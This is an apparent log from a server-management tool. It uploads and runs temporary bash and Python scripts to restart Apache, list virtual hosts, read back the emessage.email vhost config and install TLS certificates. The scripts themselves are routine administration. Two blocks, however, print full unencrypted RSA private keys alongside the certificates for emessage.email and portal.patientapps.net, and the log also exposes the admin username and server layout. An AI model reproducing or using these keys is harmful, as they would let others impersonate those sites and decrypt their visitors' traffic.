RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName emessage.email
ServerAlias venus.hostz.org
ServerAlias mail.emessage.email
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
DocumentRoot /var/www/hostz_venus
<Directory /var/www/hostz_venus>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_venus/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/venus_secure_access.log combined
ErrorLog /var/log/apache2/hostz/venus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hostz_venus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hostz_venus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_venus_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_venus_org.conf= 1'
fi
2025-11-13 06:00:16:
chmod 755 /tmp/pkp521728; /tmp/pkp521728; rm /tmp/pkp521728
2025-11-13 06:00:16:
2025-11-13 06:00:16:
PUT: /tmp/pkp588551
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-13 06:00:16:
chmod 755 /tmp/pkp588551; /tmp/pkp588551; rm /tmp/pkp588551
2025-11-13 06:00:16:
.
2025-11-13 06:00:16: Establishing a connection
2025-11-13 06:00:16:
PUT: /tmp/pkp405506
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-13 06:00:16:
chmod 755 /tmp/pkp405506; /tmp/pkp405506; rm /tmp/pkp405506
2025-11-13 06:00:16:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server blah (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost blah (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
alias list.stoughton.link
port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
alias sms.hopeinstoughton.org
port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
alias venus.hostz.org
alias mail.emessage.email
*:443 is a NameVirtualHost
default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
alias sms.hopeinstoughton.org
port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
alias venus.hostz.org
alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-11-13 06:00:16:
PUT: /tmp/pkp895454
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hostz_venus_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-13 06:00:16:
chmod 755 /tmp/pkp895454; /tmp/pkp895454; rm /tmp/pkp895454
2025-11-13 06:00:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_venus_org.conf 1644
<VirtualHost *:80>
ServerName emessage.email
ServerAlias venus.hostz.org
ServerAlias mail.emessage.email
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_venus
<Directory /var/www/hostz_venus>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/venus_access.log combined
ErrorLog /var/log/apache2/hostz/venus_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName emessage.email
ServerAlias venus.hostz.org
ServerAlias mail.emessage.email
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
DocumentRoot /var/www/hostz_venus
<Directory /var/www/hostz_venus>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_venus/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/venus_secure_access.log combined
ErrorLog /var/log/apache2/hostz/venus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-13 06:00:16:
PUT: /tmp/pkp609396
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-13 06:00:16:
chmod 755 /tmp/pkp609396; /tmp/pkp609396; rm /tmp/pkp609396
2025-11-13 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt 5394
d0:ce:b6:79:a7:55:2f:7a:e3:8b:45:65:01:61:6a:d4
-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBjPC9uqj6UCgwZfDivH0EkWPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEzMDUwMTQ1WhcNMjYwMjExMDUwMTQ0WjAZMRcwFQYDVQQD
Ew5lbWVzc2FnZS5lbWFpbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL8aBvh4HzrYlApFCfKWx5lprWFDrdKhOPGYdeCjjzcgZHsvllHaHb7RMbwjJWKs
//Ze7qnwGMy1QUFc+dxL+22O+mwEtQcZxfxeuO+oWUxE5MJz8Fb35ZM9J9Vl+t8E
O5/vRy7Frg1DqySIcH0T3iJWv+8lPELofuu4sO64yzJSpO7dvRiPM2HBchB5J8pu
xJVOJMFOMCttqn3KRnLj6bIt7cu/VeuV8nK4G/RAgKnYCdtb2FiircymCFdlHQ2+
/IHX2nze4kkPCvCXND1x0viiy2z+P5XXRHJcicIkmo7KgZJdQO87HKag9cMsMjEB
x8NtmpDna6V/3ShbjmixL3ECAwEAAaOCAkQwggJAMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUI+ilrclrIgo3rFPS4CHodWWeO0swHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzA/BgNVHREEODA2gg5lbWVzc2FnZS5lbWFpbIITbWFp
bC5lbWVzc2FnZS5lbWFpbIIPdmVudXMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
MTYuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAGYbUxyiqb/66A294Kk0B
karOLXIxD67OXXBBLSVMx9QAAAGae8zexwAABAMARzBFAiANO3eN4Kf8hdWBrXK9
OC8cGqo9MjKril0/nc70QxziEQIhALCVMUCb9B1HNmPV7ZQZSxSHwB4hO+ApurM1
1TMEJRHMAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGae8ze
xgAABAMARzBFAiBWXKGna9bCLjJMshVJavSaG+LnXRj09r3aaJJ6Y9gPmQIhAJVs
HIqiI8Va/4kJ1w3OPZ6GAtnGPk8GQsJWHno/nTMhMA0GCSqGSIb3DQEBCwUAA4IB
AQBE3xEgR28M75lcWY61KmX/kTbBiRCe0nAi47eaWvmpYz6M9BDojvh+51xm7HEb
qttJcZspdOqKLSmYwQvppOWhLusy45ZvO1SeiyHpyOyZBk0rhEq/5jDHQaxBTTzu
iqlMIVb8lfYWM+0JII6sV7ls05o59ddIByx0QPUwvnTnr6KChV8FtNSgTeZGeTEn
EeLES4ci0Wfw8Ke+zt64oVKAqOd8UFUAveU7vBeAtvcjcYLmNWePuRk7LPrTnydO
txu6zQBtPNBPqyU1o15UXiJh/mp3zfl/KKiIRltG7Jgy8/2GqAToGtMqdctz5wKm
/PRkXM61y5GarPbZkQcckZKV
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/Ggb4eB862JQK
RQnylseZaa1hQ63SoTjxmHXgo483IGR7L5ZR2h2+0TG8IyVirP/2Xu6p8BjMtUFB
XPncS/ttjvpsBLUHGcX8XrjvqFlMROTCc/BW9+WTPSfVZfrfBDuf70cuxa4NQ6sk
iHB9E94iVr/vJTxC6H7ruLDuuMsyUqTu3b0YjzNhwXIQeSfKbsSVTiTBTjArbap9
ykZy4+myLe3Lv1XrlfJyuBv0QICp2AnbW9hYoq3MpghXZR0NvvyB19p83uJJDwrw
lzQ9cdL4osts/j+V10RyXInCJJqOyoGSXUDvOxymoPXDLDIxAcfDbZqQ52ulf90o
W45osS9xAgMBAAECggEARSs9hKet3hXQF5t/iz/KBRw79i2R9+AFBWVCnUl2J+Tg
mbnStdO12oBLeSZbfMjTaLBZwEa4Izgj422svnD+E1yiBYD6qRRKFhuO4qfTkoiJ
KFzgjAn0HYQQK+xajmgw0KXB5QsGAaURiAqedJdBWrp9hCi9FBalAdr6p51ZZt/k
CZUlKHau3dxgVmqc1TZR3Qho7+tqxd1NWyYpYV9FJXYFpZaLcw3zeDzg0Ca4p0Uw
Tx2vppcRR1EPaLRvzJGNPudD7+HsNnGlkQzB7ZkJKygHob29fVq7BVWF+kSpSAMb
PGEy3cK4gTcfJrLd+yJZ0tnUMNfR+b2OeaGYzy8v8QKBgQD0d9WNvNdKOUg2kweh
vjeR4Zpiuq/ghfmY69buM/ZhhpGjeOUOXKk7tBbCt8ZSHJmH4ZPgL9v0xs5CxMii
6JV7GSdXeKbidb47ueQE+5ywMMi+dnpFrItN6DkrT2eJ9LBNmjWHqNi/bJEaVL4X
p8aY2J0s49BTUSRuwwYoiRhPbQKBgQDIHb8rE/lch+UY996u61zcm//t1px4D00/
OgsJ21pKE0tFzlLDLPXRFhB2uFJqO3aRCckw/5i3oyUtBIudSMW5OI0VPMVgCIW5
HVtFreqEgFSIYlivvy74qjpimvx79y4k6LqBOJiq0qfkhTDDwa5jwNjr3zr1j+F6
Vzd6OAyplQKBgQDkXGhlHUiyce3N5OxVH13DbM2Nejw+bIfqXCuKmYmGMnErFgxJ
rS78sU4tmAOuwj58mrBK1AoQjgEwh6ev3bl8otOINxEVK82G9y9TpEIKp5dtqziu
iu4Z2VpF5cefK63g37MvRP8rWVv2D8D+UeAG+RlhTHFW0s5IlO7UwLOvxQKBgAF0
FdtePcVqR0OzKS7kDrybdXRoxqIomksHROVBbppzIWzUXs2EGhT2sA/srsyOugG7
rHZqpNVQngiBq/HsgWMjAgNRea2E4lPB3tPWu4lS1UpYTISaQuETe3ET5xmPZgpm
llQx8QnslcOXJA+H7JhU4j50VJ1L+jtFPuXoWk8xAoGBANO9Yo+5hb7Qg4cw2xQo
vBABLmczGfKuKkMzDNVnGTrlkp5u25TlTxH8omVc7M4mjuPlDoapWS2h5GtsAO22
he61s7dU7pVkpO/QdppPXr3ZCvhVp4A9ytkrwt8v7Osb5oTR4bgIgFrEcZZMzZFE
LlLLtapKFzT+4//jCgoTSmxU
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-13 06:00:17: Establishing a connection
2025-11-13 06:00:17: Establishing a connection
2025-11-13 06:00:17:
PUT: /tmp/pkp420138
#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-13 06:00:18:
chmod 755 /tmp/pkp420138; /tmp/pkp420138; rm /tmp/pkp420138
2025-11-13 06:00:18:
0
2025-11-13 06:00:45: Establishing a connection
2025-11-13 06:00:45:
PUT: /tmp/pkp860926
#!/bin/bash
temp_file=$(mktemp)
TARGET=01414147ca2e2039609db8973ea8b269.crt
cat > $temp_file <<'endmsg'
82:f8:b2:fc:27:54:e6:32:de:a8:4d:5a:05:aa:a2:a6
-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBofKfo2qo6aGcHlCGsAg0Zs4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEzMDUwMjEyWhcNMjYwMjExMDUwMjExWjAhMR8wHQYDVQQD
ExZwb3J0YWwucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEApouLxwgdeUYAxVjWkH0ns6t6nEvf0tHlEQ8ZljoZHOfXKbHTNvQV
NSXTTK6KejQXH9trAhmWt7H1KL/eU5lW2Q7Kqh3VvPgYCh6iqgDF4xJS504v7PGi
3a4K61kMyEGfr3I6LyAB/TGabS/Zpl+78uG1WrSAga6okTntBzRvEJpXApQR3PUx
BTMx1Bz5CN6dqf1fIEOwU25oqmthaoWwe7WG1qs5t5QSwzL7FrOtgW17WJMe83z4
W+3E+p9BdLvQteUcvX/ARoiZTk+xO9v1sCr7ISrexp7NtxLurvgKkIJP4PT2CoT1
Jflvzn3pF3BdMdGoL8OCb/6bW4iF3oLMUQIDAQABo4ICPDCCAjgwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBTdJHQlNU05mveWVtUCLHh/NgkeHDAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CFGxpdmUucGF0aWVu
dGFwcHMubmV0ghZwb3J0YWwucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
NTcuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYADleUvPOuqT4zGyyZB7P3
kN+bwj1xMiXdIaklrGHFTiEAAAGae81KpQAABAMARzBFAiBUOgfD8nZhyqWUGYMp
9MT6TdPETgiP3hiH3EoIkL+CmQIhAI+HlT9RVb49WfDWGXh8Y1d/+DhztYH0Y9zB
hL+xqpUeAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGae81S
bAAABAMARzBFAiByd9VbbeMiwf5y+I8BybeHg41a+mVcawStaYcAMggybgIhAN56
fK+l3UMaX4P6gT8MvBjgwSllp7jjpxlLb5qbhYvJMA0GCSqGSIb3DQEBCwUAA4IB
AQAkpE7d2EkX/eVP45FXF4uWikksTvGU7oXRJ3VdcWNc3hFf9bEaRS0wT0KApgSi
+CHq4SHXh7uenaETtaf27O4zHDsc/iYv6dQTMHxTzK+ipCkYAOoSVnL1z5f9Az70
PXucShX4q+ADV/ui6leWIBOssnGkciDcRGljbozwULNjwoD5B/2VWe5basCDJhdr
GD2fx46vJwuPN48e3mvhUCQMX3nfn8TATBjEUy3kjhSOWtdLRqI+Yej+wui/HQ9U
YxkGwITzD5PQG6N9GOpm0BCh303aWYB7ALxfVG5tEh68HyUB34M26LLTyb2mUBk2
hubgTsqo3GBAZLHwPLtZ2GNa
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCmi4vHCB15RgDF
WNaQfSezq3qcS9/S0eURDxmWOhkc59cpsdM29BU1JdNMrop6NBcf22sCGZa3sfUo
v95TmVbZDsqqHdW8+BgKHqKqAMXjElLnTi/s8aLdrgrrWQzIQZ+vcjovIAH9MZpt
L9mmX7vy4bVatICBrqiROe0HNG8QmlcClBHc9TEFMzHUHPkI3p2p/V8gQ7BTbmiq
a2FqhbB7tYbWqzm3lBLDMvsWs62BbXtYkx7zfPhb7cT6n0F0u9C15Ry9f8BGiJlO
T7E72/WwKvshKt7Gns23Eu6u+AqQgk/g9PYKhPUl+W/OfekXcF0x0agvw4Jv/ptb
iIXegsxRAgMBAAECggEBAJauHpK+ltwIJ95lGAu2EFuQQ+hxBVpaKOOcQ8wVWG88
mwDQMIbBowZo6JmyOPuDcYCTJmfJ+wDL80EhBuegDmFn7pinUaAc3rMZMJabCG7/
Px6jMN0xaeci9iIkeVoddXpo4JeOX/5SCKPM7SCH8SY4a7pbIQEzorNyMy+Xkvzz
EQsXCSkWAVYVfxe9rCIceuaGA6ctP1QMbEIIFNs+udlK5c5FUX/N3f/GYZnTPb4B
JEp8n+bF0ofuJVXFTEZ9g4b0IiEfu6qT2o41GvnXMmPXLzIkRmhith/DHeOXs99a
v9WHCwnOcqzMcRJ0QStnrYBW695i33xl8u5WT2z4pAECgYEA1ERQaib/xNJ9+y7M
tzg4QFovE465L/webQp7gUp8UkDt/7NdeFo2EU4oyTdgXlMAFAIkYn2cKgWMsK25
4tx0Fw7pitg+pAhi3PAh1jSky1t1g26pfFgqyfKWaGmtn7wSsZSnnJq6x2AQSrx3
Q2UrvueTFy85Ni12JiAuJKqunbECgYEAyNu1heDpl0k5ZFqQ8SPGmCeN8DA/Tl12
Kk/YtEEBr9jSSnjwsF/8gDYDA2O9Emc9zn4Apc4Tm7zdR14lVkEg79545r7hmsB8
N+zJXZ5wO4/O5tCIB/FuhUxVpJOEL/X9GvWe8D4Av+EmLVa8sM1na/3OXPZbPyWF
p4vgirAToKECgYBwtcF5TDH9YcORT51WIF0GFpzuppdAmn/RaIKB+Xof9ugpISWd
lVEmSTkw9t2N2EavWR/WyFnWmlHFMsoEYwilgb6SghZo5ScRp9RfuF5UuMCiRG1s
YCiASPaChLKzoZrPfl6tsh9BZIniFUbCm4LqAG7DHckkMmmM/wNhZtwHUQKBgHc1
bta2VezkGJvm5H85rHRBhYw4Flp8PdV+7i6NJmMnXCe2/6KuVT4C0GcCmwSBIb2c
KuY9GIYl4W6qAZ7fqJy0fSz1vRALja3jat+VWScAgtuaiCGuuNmEJJA4vQt6A24s
uNf89JTtG6ts/zAvuGHvkLq7vAwOSPTXn7ywI/YBAoGAEnysBFCBfl25c032jxog
WeNwg6uoY/CD6KvISwpTNtw9RgPaAC9neFSw7Xlg/WVoroDEmPE29Xu/oNi5ypdO
IgCcHNY4xEmUNjGvSFpysV9wm/THVcVop0x67Ngja132E+gvyl7JVVu6LTCyxEog
t2sUcdt+YdZmn700ih7ziRs=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-13 06:00:45:
chmod 755 /tmp/pkp860926; /tmp/pkp860926; rm /tmp/pkp860926
2025-11-13 06:00:45:
dir=/etc/ssl/certs
2025-11-13 06:00:45:
PUT: /tmp/pkp466843
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
